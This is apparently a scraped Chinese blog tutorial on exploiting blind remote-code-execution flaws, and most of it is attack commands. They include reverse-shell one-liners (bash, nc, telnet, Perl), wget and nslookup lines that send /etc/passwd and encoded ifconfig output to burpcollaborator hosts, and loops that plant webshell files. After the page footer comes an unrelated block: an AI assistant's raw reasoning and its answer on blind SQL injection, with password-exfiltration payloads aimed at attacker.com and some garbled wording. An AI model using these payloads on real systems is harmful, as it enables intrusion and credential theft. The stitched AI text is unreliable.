干货|如何在无回显时渗透测试

目录

前言

RCE无回显常见利用方式

反弹shell

http外带信息

DNSlog外带

页面返回时间判断

盲写webshell

总结

参考链接


前言

在测试的过程中,经常会遇到RCE漏洞没有回显的情况,这种不能直接在页面上看到命令执行的结果,本篇文章来看看遇到这种情况如何去利用。

由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~

RCE无回显常见利用方式

  • 反弹shell

  • dnslog外带

  • http请求外带

  • 页面返回时间判断

  • 盲写webshell

图片

反弹shell

无回显的命令执行,最常见的方式就是反弹shell。因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

关于反弹shell,不同的操作系统反弹方式也是不同的,总体来说linux上比较简单,而win上则稍微麻烦一点。

在linux下可以使用下面的命令进行反弹shell

Bash反弹:
Bash反弹,远程主机监听端口:
nc -lvp 7777
被入侵的机器反弹shell命令如下:
bash -i >& /dev/tcp/IP/7777 0>&1

telnet反弹:
远程主机监听端口:
nc -lvvp 4444
nc -lvvp 5555
被入侵的机器反弹shell命令如下:
telnet IP 4444 | /bin/bash | telnet IP 5555

nc(netcat)反弹:
远程主机监听端口:
nc -lvvp 4444 
被入侵的机器反弹shell命令如下:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f

perl反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

win下的反弹shell可以看这篇文章:https://www.freebuf.com/articles/network/375572.html

http外带信息

可以使用wget或者curl命令去访问一个http服务,把要执行的命令隐藏在header头或者数据包的其它地方,在被访问的服务器中去查看该条日志。

如下:使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo代表去掉各个分隔符,换行符等符号输出

wget --header="User-Agent: $(cat /etc/passwd | xargs echo)" http://xxxx.burpcollaborator.net

此时就可以去查看web日志或者dnslog平台上的http请求记录,可以看到请求的数据包,数据包中就包含执行的命令。

图片

DNSlog外带

有的服务器是不允许http协议访问外网的,但是一般不会对DNS协议做限制,可以使用DNSlog日志外带数据,缺点就是dnslog一般只能带出一条数据,需要对结果进行编码等操作。

dnslog就是我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断。

不同的操作系统对命令的解析方式不同

windows在命令上使用%     如 %variable%.dnslog.com    
linux上使用反引号  如 `variable`.dnslog.com

对命令进行编码

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

如下面的操作

图片

图片

在win上常用的系统变量如下,可以先外带这些环境变量然后再进一步进行利用

//变量                 类型       描述
//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
//%CD%                                                        本地       返回当前目录字符串。
//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%      系统       返回计算机的名称。
//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                         系统       指定可执行文件的搜索路径。
//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%           


        本地       返回包含用户帐户的域的名称。
//%USERNAME%                     本地       返回当前登录的用户的名称。
//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
//%WINDIR%                       系统       返回操作系统目录的位置。

页面返回时间判断

无回显时还可以通过页面的返回时间来进行判断,一般我们在sql注入中经常见到这种方式,在RCE漏洞中也可以使用。

如下面的命令:

?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi

盲写webshell

如果上面的方式都不能用,我们也可以考虑盲写一个webshell。

我们知道webshell如果想要使用,就必须知道webshell的绝对路径,然后实际情况下我们往往不知道路径。那么此时要怎么去操作?

这里一个思路就是首先在系统中找到一个可以访问的静态资源,一般为图片,如flag.png,我们可以根据系统命令去查找这个文件所在的位置,然后将webshell写入到与此静态文件相同的目录中。

linux下盲写的命令

for i in `find /var -name "flag.png"`; do echo "text" >`realpath $i`flag.php; done

win下盲写命令

for /r C:\ %i in (flag.png) do @echo "test" > %i.php

如下图,可以往该目录下写入一个php文件

图片

总结

除了上面的一些常见的方式以外,还有其它的如ICMP协议外带等等,一般最常用的就是dnslog外带以及反弹shell。

参考链接

https://cloud.tencent.com/developer/article/1956480

https://www.freebuf.com/articles/network/321428.html

来源: https://www.freebuf.com/articles/web/382776.html

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

 

<think>好的,我现在需要回答用户关于无回显SQL注入渗透测试方法的问题。首先,我需要回顾用户提供的引用内容,看看里面有哪些相关信息。用户给出的引用主要涉及布尔盲注、间盲注、DNS外带技术、联合查询绕过和工具使用等内容。 首先,用户提到无回显的情况下,常见的方法有布尔盲注和间盲注。根据引用[^1]和[^2],布尔盲注是通过页面响应差异来判断条件真假,比如返回内容长度不同或者HTTP状态码的变化。间盲注则是利用条件语句触发间延迟,比如使用SLEEP函数,如果页面响应间有明显延迟,则说明条件成立。 然后,引用[^5]提到了DNS外带技术,通过构造请求将数据外传到DNS日志平台。这需要目标数据库支持load_file函数,并且配置允许访问外部网络。这种方法可以高效地获取数据,但依赖于特定函数和权限。 另外,引用[^3]提到联合查询绕过的方法,通过构造无效的id值让原始查询无结果,然后联合查询显示自定义数据。这需要猜测字段数,但可能在某些情况下有效。 工具方面,引用[^4]指出可以使用SQLmap进行自动化注入,指定参数和数据库信息来获取数据。此外,其他工具如Burp Suite可以辅助分析响应差异。 接下来,我需要将这些方法系统地整理出来,分步骤解释。同,要确保使用正确的中文术语和LaTeX格式,比如变量和函数名用$...$包裹。例如,提到substr函数写成$substr()$,条件判断写成$if(条件,1,0)$。 还要注意用户提供的示例中,代码块用三个反引号包裹,并且相关引用标识要自然添加在段落末尾。例如,在讲解布尔盲注,引用[^1]和[^3]可能需要对应到不同的部分。 最后,生成相关问题要覆盖用户可能感兴趣的方面,比如如何检测无回显注入、不同方法的优缺点、工具使用技巧以及防护措施等。确保问题与回答内容紧密相关,帮助用户进一步学习。 现在需要检查是否有遗漏的信息点,比如间盲注的具体payload示例,或者DNS外带的具体步骤。同要确保LaTeX语法正确,例如数学表达式和代码格式无误。可能还需要补充一些实际例子,如具体的SQL语句,用$$...$$格式展示独立公式,如联合查询的构造。 总结步骤应该是:1. 布尔盲注;2. 间盲注;3. DNS外带;4. 联合查询绕过;5. 工具自动化。每个步骤下给出原理、示例和工具使用,并附上相关引用。这样结构清晰,用户能逐步理解无回显注入的方法。</think>### 无回显SQL注入渗透测试方法 无回显SQL注入(Blind SQL Injection)的渗透测试需通过间接手段推断数据库信息,以下是核心方法及操作步骤: --- #### 一、布尔盲注 (Boolean-Based Blind Injection) **原理**:通过页面响应差异(如内容长度、状态码)判断条件真假。 **步骤**: 1. 构造布尔条件语句: ```sql ?id=1' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a' --+ ``` 若页面返回正常,说明密码第一位为`a`,否则继续枚举字符[^1][^3]。 2. 逐步爆破字段值,使用$substr()$或$mid()$函数截取字符。 3. 自动化工具: ```bash sqlmap -u "http://example.com/?id=1" --technique=B --level=5 ``` --- #### 二、间盲注 (Time-Based Blind Injection) **原理**:通过条件触发的延迟响应判断注入结果。 **步骤**: 1. 注入间延迟条件: ```sql ?id=1' AND IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 1),1,1))=97, SLEEP(5), 0) --+ ``` 若页面响应延迟5秒,说明密码第一位ASCII码为97(即字符`a`)[^1][^5]。 2. 使用$if()$或$case$语句结合$sleep()$、$benchmark()$等函数。 --- #### 三、DNS外带数据 (DNS Exfiltration) **原理**:通过DNS查询将数据外传到可控日志平台。 **步骤**: 1. 确保数据库支持$load\_file()$函数且允许外部连接。 2. 构造DNS查询: ```sql ?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))) --+ ``` 数据会以子域名形式记录在DNS日志中[^5]。 --- #### 四、联合查询绕过 (Union-Based Bypass) **原理**:强制原始查询无结果,通过联合查询显示自定义数据。 **步骤**: 1. 构造无效查询条件: ```sql ?id=-1' UNION SELECT 1,@@version,3 --+ ``` 若字段数匹配,页面会显示数据库版本。 2. 需先通过$order by$猜测字段数。 --- #### 五、自动化工具辅助 1. **SQLmap**: ```bash sqlmap -u "http://example.com/?id=1" --technique=T --dns-domain=attacker.com ``` 支持布尔、间、DNS外带等多种技术[^4][^5]。 2. **Burp Suite**:通过Intruder模块爆破字符或观察响应差异。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值